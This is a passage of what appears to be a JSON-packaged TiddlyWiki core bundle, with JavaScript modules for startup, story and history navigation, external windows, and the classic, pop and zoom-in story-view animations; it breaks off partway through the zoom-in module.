$tw.PluginSwitcher({\n\t\twiki: $tw.wiki,\n\t\tpluginType: \"language\",\n\t\tcontrollerTitle: \"$:/language\",\n\t\tdefaultPlugins: [\n\t\t\t\"$:/languages/en-US\"\n\t\t],\n\t\tonSwitch: function(plugins) {\n\t\t\tif($tw.browser) {\n\t\t\t\tvar pluginTiddler = $tw.wiki.getTiddler(plugins[0]);\n\t\t\t\tif(pluginTiddler) {\n\t\t\t\t\tdocument.documentElement.setAttribute(\"dir\",pluginTiddler.getFieldString(\"text-direction\") || \"auto\");\n\t\t\t\t} else {\n\t\t\t\t\tdocument.documentElement.removeAttribute(\"dir\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n\t// Kick off the theme manager\n\t$tw.themeManager = new $tw.PluginSwitcher({\n\t\twiki: $tw.wiki,\n\t\tpluginType: \"theme\",\n\t\tcontrollerTitle: \"$:/theme\",\n\t\tdefaultPlugins: [\n\t\t\t\"$:/themes/tiddlywiki/snowwhite\",\n\t\t\t\"$:/themes/tiddlywiki/vanilla\"\n\t\t]\n\t});\n\t// Kick off the keyboard manager\n\t$tw.keyboardManager = new $tw.KeyboardManager();\n\t// Listen for shortcuts\n\tif($tw.browser) {\n\t\t$tw.utils.addEventListeners(document,[{\n\t\t\tname: \"keydown\",\n\t\t\thandlerObject: $tw.keyboardManager,\n\t\t\thandlerMethod: \"handleKeydownEvent\"\n\t\t}]);\n\t}\n\t// Create a root widget for attaching event handlers. By using it as the parentWidget for another widget tree, one can reuse the event handlers\n\t$tw.rootWidget = new widget.widget({\n\t\ttype: \"widget\",\n\t\tchildren: []\n\t},{\n\t\twiki: $tw.wiki,\n\t\tdocument: $tw.browser ? document : $tw.fakeDocument\n\t});\n\t// Execute any startup actions\n\tvar executeStartupTiddlers = function(tag) {\n\t\t$tw.utils.each($tw.wiki.filterTiddlers(\"[all[shadows+tiddlers]tag[\" + tag + \"]!has[draft.of]]\"),function(title) {\n\t\t\t$tw.rootWidget.invokeActionString($tw.wiki.getTiddlerText(title),$tw.rootWidget);\n\t\t});\n\t};\n\texecuteStartupTiddlers(\"$:/tags/StartupAction\");\n\tif($tw.browser) {\n\t\texecuteStartupTiddlers(\"$:/tags/StartupAction/Browser\");\t\t\n\t}\n\tif($tw.node) {\n\t\texecuteStartupTiddlers(\"$:/tags/StartupAction/Node\");\t\t\n\t}\n\t// Clear outstanding tiddler store change events to avoid an unnecessary refresh cycle at startup\n\t$tw.wiki.clearTiddlerEventQueue();\n\t// Find a working syncadaptor\n\t$tw.syncadaptor = undefined;\n\t$tw.modules.forEachModuleOfType(\"syncadaptor\",function(title,module) {\n\t\tif(!$tw.syncadaptor && module.adaptorClass) {\n\t\t\t$tw.syncadaptor = new module.adaptorClass({wiki: $tw.wiki});\n\t\t}\n\t});\n\t// Set up the syncer object if we've got a syncadaptor\n\tif($tw.syncadaptor) {\n\t\t$tw.syncer = new $tw.Syncer({wiki: $tw.wiki, syncadaptor: $tw.syncadaptor});\n\t} \n\t// Setup the saver handler\n\t$tw.saverHandler = new $tw.SaverHandler({wiki: $tw.wiki, dirtyTracking: !$tw.syncadaptor});\n\t// Host-specific startup\n\tif($tw.browser) {\n\t\t// Install the popup manager\n\t\t$tw.popup = new $tw.utils.Popup();\n\t\t// Install the animator\n\t\t$tw.anim = new $tw.utils.Animator();\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "startup"
        },
        "$:/core/modules/startup/story.js": {
            "title": "$:/core/modules/startup/story.js",
            "text": "/*\\\ntitle: $:/core/modules/startup/story.js\ntype: application/javascript\nmodule-type: startup\n\nLoad core modules\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"story\";\nexports.after = [\"startup\"];\nexports.synchronous = true;\n\n// Default story and history lists\nvar DEFAULT_STORY_TITLE = \"$:/StoryList\";\nvar DEFAULT_HISTORY_TITLE = \"$:/HistoryList\";\n\n// Default tiddlers\nvar DEFAULT_TIDDLERS_TITLE = \"$:/DefaultTiddlers\";\n\n// Config\nvar CONFIG_UPDATE_ADDRESS_BAR = \"$:/config/Navigation/UpdateAddressBar\"; // Can be \"no\", \"permalink\", \"permaview\"\nvar CONFIG_UPDATE_HISTORY = \"$:/config/Navigation/UpdateHistory\"; // Can be \"yes\" or \"no\"\nvar CONFIG_PERMALINKVIEW_COPY_TO_CLIPBOARD = \"$:/config/Navigation/Permalinkview/CopyToClipboard\"; // Can be \"yes\" (default) or \"no\"\nvar CONFIG_PERMALINKVIEW_UPDATE_ADDRESS_BAR = \"$:/config/Navigation/Permalinkview/UpdateAddressBar\"; // Can be \"yes\" (default) or \"no\"\n\n\n// Links to help, if there is no param\nvar HELP_OPEN_EXTERNAL_WINDOW = \"http://tiddlywiki.com/#WidgetMessage%3A%20tm-open-external-window\";\n\nexports.startup = function() {\n\t// Open startup tiddlers\n\topenStartupTiddlers();\n\tif($tw.browser) {\n\t\t// Set up location hash update\n\t\t$tw.wiki.addEventListener(\"change\",function(changes) {\n\t\t\tif($tw.utils.hop(changes,DEFAULT_STORY_TITLE) || $tw.utils.hop(changes,DEFAULT_HISTORY_TITLE)) {\n\t\t\t\tupdateLocationHash({\n\t\t\t\t\tupdateAddressBar: $tw.wiki.getTiddlerText(CONFIG_UPDATE_ADDRESS_BAR,\"permaview\").trim(),\n\t\t\t\t\tupdateHistory: $tw.wiki.getTiddlerText(CONFIG_UPDATE_HISTORY,\"no\").trim()\n\t\t\t\t});\n\t\t\t}\n\t\t});\n\t\t// Listen for changes to the browser location hash\n\t\twindow.addEventListener(\"hashchange\",function() {\n\t\t\tvar hash = $tw.utils.getLocationHash();\n\t\t\tif(hash !== $tw.locationHash) {\n\t\t\t\t$tw.locationHash = hash;\n\t\t\t\topenStartupTiddlers({defaultToCurrentStory: true});\n\t\t\t}\n\t\t},false);\n\t\t// Listen for the tm-browser-refresh message\n\t\t$tw.rootWidget.addEventListener(\"tm-browser-refresh\",function(event) {\n\t\t\twindow.location.reload(true);\n\t\t});\n\t\t// Listen for tm-open-external-window message\n\t\t$tw.rootWidget.addEventListener(\"tm-open-external-window\",function(event) {\n\t\t\tvar paramObject = event.paramObject || {},\n\t\t\t\tstrUrl = event.param || HELP_OPEN_EXTERNAL_WINDOW,\n\t\t\t\tstrWindowName = paramObject.windowName,\n\t\t\t\tstrWindowFeatures = paramObject.windowFeatures;\n\t\t\twindow.open(strUrl, strWindowName, strWindowFeatures);\n\t\t});\n\t\t// Listen for the tm-print message\n\t\t$tw.rootWidget.addEventListener(\"tm-print\",function(event) {\n\t\t\t(event.event.view || window).print();\n\t\t});\n\t\t// Listen for the tm-home message\n\t\t$tw.rootWidget.addEventListener(\"tm-home\",function(event) {\n\t\t\twindow.location.hash = \"\";\n\t\t\tvar storyFilter = $tw.wiki.getTiddlerText(DEFAULT_TIDDLERS_TITLE),\n\t\t\t\tstoryList = $tw.wiki.filterTiddlers(storyFilter);\n\t\t\t//invoke any hooks that might change the default story list\n\t\t\tstoryList = $tw.hooks.invokeHook(\"th-opening-default-tiddlers-list\",storyList);\n\t\t\t$tw.wiki.addTiddler({title: DEFAULT_STORY_TITLE, text: \"\", list: storyList},$tw.wiki.getModificationFields());\n\t\t\tif(storyList[0]) {\n\t\t\t\t$tw.wiki.addToHistory(storyList[0]);\n\t\t\t}\n\t\t});\n\t\t// Listen for the tm-permalink message\n\t\t$tw.rootWidget.addEventListener(\"tm-permalink\",function(event) {\n\t\t\tupdateLocationHash({\n\t\t\t\tupdateAddressBar: $tw.wiki.getTiddlerText(CONFIG_PERMALINKVIEW_UPDATE_ADDRESS_BAR,\"yes\").trim() === \"yes\" ? \"permalink\" : \"none\",\n\t\t\t\tupdateHistory: $tw.wiki.getTiddlerText(CONFIG_UPDATE_HISTORY,\"no\").trim(),\n\t\t\t\ttargetTiddler: event.param || event.tiddlerTitle,\n\t\t\t\tcopyToClipboard: $tw.wiki.getTiddlerText(CONFIG_PERMALINKVIEW_COPY_TO_CLIPBOARD,\"yes\").trim() === \"yes\" ? \"permalink\" : \"none\"\n\t\t\t});\n\t\t});\n\t\t// Listen for the tm-permaview message\n\t\t$tw.rootWidget.addEventListener(\"tm-permaview\",function(event) {\n\t\t\tupdateLocationHash({\n\t\t\t\tupdateAddressBar: $tw.wiki.getTiddlerText(CONFIG_PERMALINKVIEW_UPDATE_ADDRESS_BAR,\"yes\").trim() === \"yes\" ? \"permaview\" : \"none\",\n\t\t\t\tupdateHistory: $tw.wiki.getTiddlerText(CONFIG_UPDATE_HISTORY,\"no\").trim(),\n\t\t\t\ttargetTiddler: event.param || event.tiddlerTitle,\n\t\t\t\tcopyToClipboard: $tw.wiki.getTiddlerText(CONFIG_PERMALINKVIEW_COPY_TO_CLIPBOARD,\"yes\").trim() === \"yes\" ? \"permaview\" : \"none\"\n\t\t\t});\t\t\t\t\n\t\t});\n\t}\n};\n\n/*\nProcess the location hash to open the specified tiddlers. Options:\ndefaultToCurrentStory: If true, the current story is retained as the default, instead of opening the default tiddlers\n*/\nfunction openStartupTiddlers(options) {\n\toptions = options || {};\n\t// Work out the target tiddler and the story filter. \"null\" means \"unspecified\"\n\tvar target = null,\n\t\tstoryFilter = null;\n\tif($tw.locationHash.length > 1) {\n\t\tvar hash = $tw.locationHash.substr(1),\n\t\t\tsplit = hash.indexOf(\":\");\n\t\tif(split === -1) {\n\t\t\ttarget = decodeURIComponent(hash.trim());\n\t\t} else {\n\t\t\ttarget = decodeURIComponent(hash.substr(0,split).trim());\n\t\t\tstoryFilter = decodeURIComponent(hash.substr(split + 1).trim());\n\t\t}\n\t}\n\t// If the story wasn't specified use the current tiddlers or a blank story\n\tif(storyFilter === null) {\n\t\tif(options.defaultToCurrentStory) {\n\t\t\tvar currStoryList = $tw.wiki.getTiddlerList(DEFAULT_STORY_TITLE);\n\t\t\tstoryFilter = $tw.utils.stringifyList(currStoryList);\n\t\t} else {\n\t\t\tif(target && target !== \"\") {\n\t\t\t\tstoryFilter = \"\";\n\t\t\t} else {\n\t\t\t\tstoryFilter = $tw.wiki.getTiddlerText(DEFAULT_TIDDLERS_TITLE);\n\t\t\t}\n\t\t}\n\t}\n\t// Process the story filter to get the story list\n\tvar storyList = $tw.wiki.filterTiddlers(storyFilter);\n\t// Invoke any hooks that want to change the default story list\n\tstoryList = $tw.hooks.invokeHook(\"th-opening-default-tiddlers-list\",storyList);\n\t// If the target tiddler isn't included then splice it in at the top\n\tif(target && storyList.indexOf(target) === -1) {\n\t\tstoryList.unshift(target);\n\t}\n\t// Save the story list\n\t$tw.wiki.addTiddler({title: DEFAULT_STORY_TITLE, text: \"\", list: storyList},$tw.wiki.getModificationFields());\n\t// If a target tiddler was specified add it to the history stack\n\tif(target && target !== \"\") {\n\t\t// The target tiddler doesn't need double square brackets, but we'll silently remove them if they're present\n\t\tif(target.indexOf(\"[[\") === 0 && target.substr(-2) === \"]]\") {\n\t\t\ttarget = target.substr(2,target.length - 4);\n\t\t}\n\t\t$tw.wiki.addToHistory(target);\n\t} else if(storyList.length > 0) {\n\t\t$tw.wiki.addToHistory(storyList[0]);\n\t}\n}\n\n/*\noptions: See below\noptions.updateAddressBar: \"permalink\", \"permaview\" or \"no\" (defaults to \"permaview\")\noptions.updateHistory: \"yes\" or \"no\" (defaults to \"no\")\noptions.copyToClipboard: \"permalink\", \"permaview\" or \"no\" (defaults to \"no\")\noptions.targetTiddler: optional title of target tiddler for permalink\n*/\nfunction updateLocationHash(options) {\n\t// Get the story and the history stack\n\tvar storyList = $tw.wiki.getTiddlerList(DEFAULT_STORY_TITLE),\n\t\thistoryList = $tw.wiki.getTiddlerData(DEFAULT_HISTORY_TITLE,[]),\n\t\ttargetTiddler = \"\";\n\tif(options.targetTiddler) {\n\t\ttargetTiddler = options.targetTiddler;\n\t} else {\n\t\t// The target tiddler is the one at the top of the stack\n\t\tif(historyList.length > 0) {\n\t\t\ttargetTiddler = historyList[historyList.length-1].title;\n\t\t}\n\t\t// Blank the target tiddler if it isn't present in the story\n\t\tif(storyList.indexOf(targetTiddler) === -1) {\n\t\t\ttargetTiddler = \"\";\n\t\t}\n\t}\n\t// Assemble the location hash\n\tswitch(options.updateAddressBar) {\n\t\tcase \"permalink\":\n\t\t\t$tw.locationHash = \"#\" + encodeURIComponent(targetTiddler);\n\t\t\tbreak;\n\t\tcase \"permaview\":\n\t\t\t$tw.locationHash = \"#\" + encodeURIComponent(targetTiddler) + \":\" + encodeURIComponent($tw.utils.stringifyList(storyList));\n\t\t\tbreak;\n\t}\n\t// Copy URL to the clipboard\n\tswitch(options.copyToClipboard) {\n\t\tcase \"permalink\":\n\t\t\t$tw.utils.copyToClipboard($tw.utils.getLocationPath() + \"#\" + encodeURIComponent(targetTiddler));\n\t\t\tbreak;\n\t\tcase \"permaview\":\n\t\t\t$tw.utils.copyToClipboard($tw.utils.getLocationPath() + \"#\" + encodeURIComponent(targetTiddler) + \":\" + encodeURIComponent($tw.utils.stringifyList(storyList)));\n\t\t\tbreak;\n\t}\n\t// Only change the location hash if we must, thus avoiding unnecessary onhashchange events\n\tif($tw.utils.getLocationHash() !== $tw.locationHash) {\n\t\tif(options.updateHistory === \"yes\") {\n\t\t\t// Assign the location hash so that history is updated\n\t\t\twindow.location.hash = $tw.locationHash;\n\t\t} else {\n\t\t\t// We use replace so that browser history isn't affected\n\t\t\twindow.location.replace(window.location.toString().split(\"#\")[0] + $tw.locationHash);\n\t\t}\n\t}\n}\n\n})();\n",
            "type": "application/javascript",
            "module-type": "startup"
        },
        "$:/core/modules/startup/windows.js": {
            "title": "$:/core/modules/startup/windows.js",
            "text": "/*\\\ntitle: $:/core/modules/startup/windows.js\ntype: application/javascript\nmodule-type: startup\n\nSetup root widget handlers for the messages concerned with opening external browser windows\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"windows\";\nexports.platforms = [\"browser\"];\nexports.after = [\"startup\"];\nexports.synchronous = true;\n\n// Global to keep track of open windows (hashmap by title)\nvar windows = {};\n\nexports.startup = function() {\n\t// Handle open window message\n\t$tw.rootWidget.addEventListener(\"tm-open-window\",function(event) {\n\t\t// Get the parameters\n\t\tvar refreshHandler,\n\t\t\ttitle = event.param || event.tiddlerTitle,\n\t\t\tparamObject = event.paramObject || {},\n\t\t\ttemplate = paramObject.template || \"$:/core/templates/single.tiddler.window\",\n\t\t\twidth = paramObject.width || \"700\",\n\t\t\theight = paramObject.height || \"600\",\n\t\t\tvariables = $tw.utils.extend({},paramObject,{currentTiddler: title});\n\t\t// Open the window\n\t\tvar srcWindow,\n\t\t    srcDocument;\n\t\t// In case that popup blockers deny opening a new window\n\t\ttry {\n\t\t\tsrcWindow = window.open(\"\",\"external-\" + title,\"scrollbars,width=\" + width + \",height=\" + height),\n\t\t\tsrcDocument = srcWindow.document;\n\t\t}\n\t\tcatch(e) {\n\t\t\treturn;\n\t\t}\n\t\twindows[title] = srcWindow;\n\t\t// Check for reopening the same window\n\t\tif(srcWindow.haveInitialisedWindow) {\n\t\t\treturn;\n\t\t}\n\t\t// Initialise the document\n\t\tsrcDocument.write(\"<html><head></head><body class='tc-body tc-single-tiddler-window'></body></html>\");\n\t\tsrcDocument.close();\n\t\tsrcDocument.title = title;\n\t\tsrcWindow.addEventListener(\"beforeunload\",function(event) {\n\t\t\tdelete windows[title];\n\t\t\t$tw.wiki.removeEventListener(\"change\",refreshHandler);\n\t\t},false);\n\t\t// Set up the styles\n\t\tvar styleWidgetNode = $tw.wiki.makeTranscludeWidget(\"$:/core/ui/PageStylesheet\",{\n\t\t\t\tdocument: $tw.fakeDocument,\n\t\t\t\tvariables: variables,\n\t\t\t\timportPageMacros: true}),\n\t\t\tstyleContainer = $tw.fakeDocument.createElement(\"style\");\n\t\tstyleWidgetNode.render(styleContainer,null);\n\t\tvar styleElement = srcDocument.createElement(\"style\");\n\t\tstyleElement.innerHTML = styleContainer.textContent;\n\t\tsrcDocument.head.insertBefore(styleElement,srcDocument.head.firstChild);\n\t\t// Render the text of the tiddler\n\t\tvar parser = $tw.wiki.parseTiddler(template),\n\t\t\twidgetNode = $tw.wiki.makeWidget(parser,{document: srcDocument, parentWidget: $tw.rootWidget, variables: variables});\n\t\twidgetNode.render(srcDocument.body,srcDocument.body.firstChild);\n\t\t// Function to handle refreshes\n\t\trefreshHandler = function(changes) {\n\t\t\tif(styleWidgetNode.refresh(changes,styleContainer,null)) {\n\t\t\t\tstyleElement.innerHTML = styleContainer.textContent;\n\t\t\t}\n\t\t\twidgetNode.refresh(changes);\n\t\t};\n\t\t$tw.wiki.addEventListener(\"change\",refreshHandler);\n\t\t// Listen for keyboard shortcuts\n\t\t$tw.utils.addEventListeners(srcDocument,[{\n\t\t\tname: \"keydown\",\n\t\t\thandlerObject: $tw.keyboardManager,\n\t\t\thandlerMethod: \"handleKeydownEvent\"\n\t\t},{\n\t\t\tname: \"click\",\n\t\t\thandlerObject: $tw.popup,\n\t\t\thandlerMethod: \"handleEvent\"\n\t\t}]);\n\t\tsrcWindow.haveInitialisedWindow = true;\n\t});\n\t// Close open windows when unloading main window\n\t$tw.addUnloadTask(function() {\n\t\t$tw.utils.each(windows,function(win) {\n\t\t\twin.close();\n\t\t});\n\t});\n\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "startup"
        },
        "$:/core/modules/story.js": {
            "title": "$:/core/modules/story.js",
            "text": "/*\\\ntitle: $:/core/modules/story.js\ntype: application/javascript\nmodule-type: global\n\nLightweight object for managing interactions with the story and history lists.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nConstruct Story object with options:\nwiki: reference to wiki object to use to resolve tiddler titles\nstoryTitle: title of story list tiddler\nhistoryTitle: title of history list tiddler\n*/\nfunction Story(options) {\n\toptions = options || {};\n\tthis.wiki = options.wiki || $tw.wiki;\n\tthis.storyTitle = options.storyTitle || \"$:/StoryList\";\n\tthis.historyTitle = options.historyTitle || \"$:/HistoryList\";\n};\n\nStory.prototype.navigateTiddler = function(navigateTo,navigateFromTitle,navigateFromClientRect) {\n\tthis.addToStory(navigateTo,navigateFromTitle);\n\tthis.addToHistory(navigateTo,navigateFromClientRect);\n};\n\nStory.prototype.getStoryList = function() {\n\treturn this.wiki.getTiddlerList(this.storyTitle) || [];\n};\n\nStory.prototype.addToStory = function(navigateTo,navigateFromTitle,options) {\n\toptions = options || {};\n\tvar storyList = this.getStoryList();\n\t// See if the tiddler is already there\n\tvar slot = storyList.indexOf(navigateTo);\n\t// Quit if it already exists in the story river\n\tif(slot >= 0) {\n\t\treturn;\n\t}\n\t// First we try to find the position of the story element we navigated from\n\tvar fromIndex = storyList.indexOf(navigateFromTitle);\n\tif(fromIndex >= 0) {\n\t\t// The tiddler is added from inside the river\n\t\t// Determine where to insert the tiddler; Fallback is \"below\"\n\t\tswitch(options.openLinkFromInsideRiver) {\n\t\t\tcase \"top\":\n\t\t\t\tslot = 0;\n\t\t\t\tbreak;\n\t\t\tcase \"bottom\":\n\t\t\t\tslot = storyList.length;\n\t\t\t\tbreak;\n\t\t\tcase \"above\":\n\t\t\t\tslot = fromIndex;\n\t\t\t\tbreak;\n\t\t\tcase \"below\": // Intentional fall-through\n\t\t\tdefault:\n\t\t\t\tslot = fromIndex + 1;\n\t\t\t\tbreak;\n\t\t}\n\t} else {\n\t\t// The tiddler is opened from outside the river. Determine where to insert the tiddler; default is \"top\"\n\t\tif(options.openLinkFromOutsideRiver === \"bottom\") {\n\t\t\t// Insert at bottom\n\t\t\tslot = storyList.length;\n\t\t} else {\n\t\t\t// Insert at top\n\t\t\tslot = 0;\n\t\t}\n\t}\n\t// Add the tiddler\n\tstoryList.splice(slot,0,navigateTo);\n\t// Save the story\n\tthis.saveStoryList(storyList);\n};\n\nStory.prototype.saveStoryList = function(storyList) {\n\tvar storyTiddler = this.wiki.getTiddler(this.storyTitle);\n\tthis.wiki.addTiddler(new $tw.Tiddler(\n\t\tthis.wiki.getCreationFields(),\n\t\t{title: this.storyTitle},\n\t\tstoryTiddler,\n\t\t{list: storyList},\n\t\tthis.wiki.getModificationFields()\n\t));\n};\n\nStory.prototype.addToHistory = function(navigateTo,navigateFromClientRect) {\n\tvar titles = $tw.utils.isArray(navigateTo) ? navigateTo : [navigateTo];\n\t// Add a new record to the top of the history stack\n\tvar historyList = this.wiki.getTiddlerData(this.historyTitle,[]);\n\t$tw.utils.each(titles,function(title) {\n\t\thistoryList.push({title: title, fromPageRect: navigateFromClientRect});\n\t});\n\tthis.wiki.setTiddlerData(this.historyTitle,historyList,{\"current-tiddler\": titles[titles.length-1]});\n};\n\nStory.prototype.storyCloseTiddler = function(targetTitle) {\n// TBD\n};\n\nStory.prototype.storyCloseAllTiddlers = function() {\n// TBD\n};\n\nStory.prototype.storyCloseOtherTiddlers = function(targetTitle) {\n// TBD\n};\n\nStory.prototype.storyEditTiddler = function(targetTitle) {\n// TBD\n};\n\nStory.prototype.storyDeleteTiddler = function(targetTitle) {\n// TBD\n};\n\nStory.prototype.storySaveTiddler = function(targetTitle) {\n// TBD\n};\n\nStory.prototype.storyCancelTiddler = function(targetTitle) {\n// TBD\n};\n\nStory.prototype.storyNewTiddler = function(targetTitle) {\n// TBD\n};\n\nexports.Story = Story;\n\n\n})();\n",
            "type": "application/javascript",
            "module-type": "global"
        },
        "$:/core/modules/storyviews/classic.js": {
            "title": "$:/core/modules/storyviews/classic.js",
            "text": "/*\\\ntitle: $:/core/modules/storyviews/classic.js\ntype: application/javascript\nmodule-type: storyview\n\nViews the story as a linear sequence\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar easing = \"cubic-bezier(0.645, 0.045, 0.355, 1)\"; // From http://easings.net/#easeInOutCubic\n\nvar ClassicStoryView = function(listWidget) {\n\tthis.listWidget = listWidget;\n};\n\nClassicStoryView.prototype.navigateTo = function(historyInfo) {\n\tvar listElementIndex = this.listWidget.findListItem(0,historyInfo.title);\n\tif(listElementIndex === undefined) {\n\t\treturn;\n\t}\n\tvar listItemWidget = this.listWidget.children[listElementIndex],\n\t\ttargetElement = listItemWidget.findFirstDomNode();\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\treturn;\n\t}\n\t// Scroll the node into view\n\tthis.listWidget.dispatchEvent({type: \"tm-scroll\", target: targetElement});\n};\n\nClassicStoryView.prototype.insert = function(widget) {\n\tvar targetElement = widget.findFirstDomNode(),\n\t\tduration = $tw.utils.getAnimationDuration();\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\treturn;\n\t}\n\t// Get the current height of the tiddler\n\tvar computedStyle = window.getComputedStyle(targetElement),\n\t\tcurrMarginBottom = parseInt(computedStyle.marginBottom,10),\n\t\tcurrMarginTop = parseInt(computedStyle.marginTop,10),\n\t\tcurrHeight = targetElement.offsetHeight + currMarginTop;\n\t// Reset the margin once the transition is over\n\tsetTimeout(function() {\n\t\t$tw.utils.setStyle(targetElement,[\n\t\t\t{transition: \"none\"},\n\t\t\t{marginBottom: \"\"}\n\t\t]);\n\t},duration);\n\t// Set up the initial position of the element\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: \"none\"},\n\t\t{marginBottom: (-currHeight) + \"px\"},\n\t\t{opacity: \"0.0\"}\n\t]);\n\t$tw.utils.forceLayout(targetElement);\n\t// Transition to the final position\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: \"opacity \" + duration + \"ms \" + easing + \", \" +\n\t\t\t\t\t\"margin-bottom \" + duration + \"ms \" + easing},\n\t\t{marginBottom: currMarginBottom + \"px\"},\n\t\t{opacity: \"1.0\"}\n\t]);\n};\n\nClassicStoryView.prototype.remove = function(widget) {\n\tvar targetElement = widget.findFirstDomNode(),\n\t\tduration = $tw.utils.getAnimationDuration(),\n\t\tremoveElement = function() {\n\t\t\twidget.removeChildDomNodes();\n\t\t};\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\tremoveElement();\n\t\treturn;\n\t}\n\t// Get the current height of the tiddler\n\tvar currWidth = targetElement.offsetWidth,\n\t\tcomputedStyle = window.getComputedStyle(targetElement),\n\t\tcurrMarginBottom = parseInt(computedStyle.marginBottom,10),\n\t\tcurrMarginTop = parseInt(computedStyle.marginTop,10),\n\t\tcurrHeight = targetElement.offsetHeight + currMarginTop;\n\t// Remove the dom nodes of the widget at the end of the transition\n\tsetTimeout(removeElement,duration);\n\t// Animate the closure\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: \"none\"},\n\t\t{transform: \"translateX(0px)\"},\n\t\t{marginBottom:  currMarginBottom + \"px\"},\n\t\t{opacity: \"1.0\"}\n\t]);\n\t$tw.utils.forceLayout(targetElement);\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms \" + easing + \", \" +\n\t\t\t\t\t\"opacity \" + duration + \"ms \" + easing + \", \" +\n\t\t\t\t\t\"margin-bottom \" + duration + \"ms \" + easing},\n\t\t{transform: \"translateX(-\" + currWidth + \"px)\"},\n\t\t{marginBottom: (-currHeight) + \"px\"},\n\t\t{opacity: \"0.0\"}\n\t]);\n};\n\nexports.classic = ClassicStoryView;\n\n})();",
            "type": "application/javascript",
            "module-type": "storyview"
        },
        "$:/core/modules/storyviews/pop.js": {
            "title": "$:/core/modules/storyviews/pop.js",
            "text": "/*\\\ntitle: $:/core/modules/storyviews/pop.js\ntype: application/javascript\nmodule-type: storyview\n\nAnimates list insertions and removals\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar PopStoryView = function(listWidget) {\n\tthis.listWidget = listWidget;\n};\n\nPopStoryView.prototype.navigateTo = function(historyInfo) {\n\tvar listElementIndex = this.listWidget.findListItem(0,historyInfo.title);\n\tif(listElementIndex === undefined) {\n\t\treturn;\n\t}\n\tvar listItemWidget = this.listWidget.children[listElementIndex],\n\t\ttargetElement = listItemWidget.findFirstDomNode();\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\treturn;\n\t}\n\t// Scroll the node into view\n\tthis.listWidget.dispatchEvent({type: \"tm-scroll\", target: targetElement});\n};\n\nPopStoryView.prototype.insert = function(widget) {\n\tvar targetElement = widget.findFirstDomNode(),\n\t\tduration = $tw.utils.getAnimationDuration();\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\treturn;\n\t}\n\t// Reset once the transition is over\n\tsetTimeout(function() {\n\t\t$tw.utils.setStyle(targetElement,[\n\t\t\t{transition: \"none\"},\n\t\t\t{transform: \"none\"}\n\t\t]);\n\t},duration);\n\t// Set up the initial position of the element\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: \"none\"},\n\t\t{transform: \"scale(2)\"},\n\t\t{opacity: \"0.0\"}\n\t]);\n\t$tw.utils.forceLayout(targetElement);\n\t// Transition to the final position\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"opacity \" + duration + \"ms ease-in-out\"},\n\t\t{transform: \"scale(1)\"},\n\t\t{opacity: \"1.0\"}\n\t]);\n};\n\nPopStoryView.prototype.remove = function(widget) {\n\tvar targetElement = widget.findFirstDomNode(),\n\t\tduration = $tw.utils.getAnimationDuration(),\n\t\tremoveElement = function() {\n\t\t\tif(targetElement.parentNode) {\n\t\t\t\twidget.removeChildDomNodes();\n\t\t\t}\n\t\t};\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\tremoveElement();\n\t\treturn;\n\t}\n\t// Remove the element at the end of the transition\n\tsetTimeout(removeElement,duration);\n\t// Animate the closure\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: \"none\"},\n\t\t{transform: \"scale(1)\"},\n\t\t{opacity: \"1.0\"}\n\t]);\n\t$tw.utils.forceLayout(targetElement);\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"opacity \" + duration + \"ms ease-in-out\"},\n\t\t{transform: \"scale(0.1)\"},\n\t\t{opacity: \"0.0\"}\n\t]);\n};\n\nexports.pop = PopStoryView;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "storyview"
        },
        "$:/core/modules/storyviews/zoomin.js": {
            "title": "$:/core/modules/storyviews/zoomin.js",
            "text": "/*\\\ntitle: $:/core/modules/storyviews/zoomin.js\ntype: application/javascript\nmodule-type: storyview\n\nZooms between individual tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar easing = \"cubic-bezier(0.645, 0.045, 0.355, 1)\"; // From http://easings.net/#easeInOutCubic\n\nvar ZoominListView = function(listWidget) {\n\tvar self = this;\n\tthis.listWidget = listWidget;\n\t// Get the index of the tiddler that is at the top of the history\n\tvar history = this.listWidget.wiki.getTiddlerDataCached(this.listWidget.historyTitle,[]),\n\t\ttargetTiddler;\n\tif(history.length > 0) {\n\t\ttargetTiddler = history[history.length-1].title;\n\t}\n\t// Make all the tiddlers position absolute, and hide all but the top (or first) one\n\t$tw.utils.each(this.listWidget.children,function(itemWidget,index) {\n\t\tvar domNode = 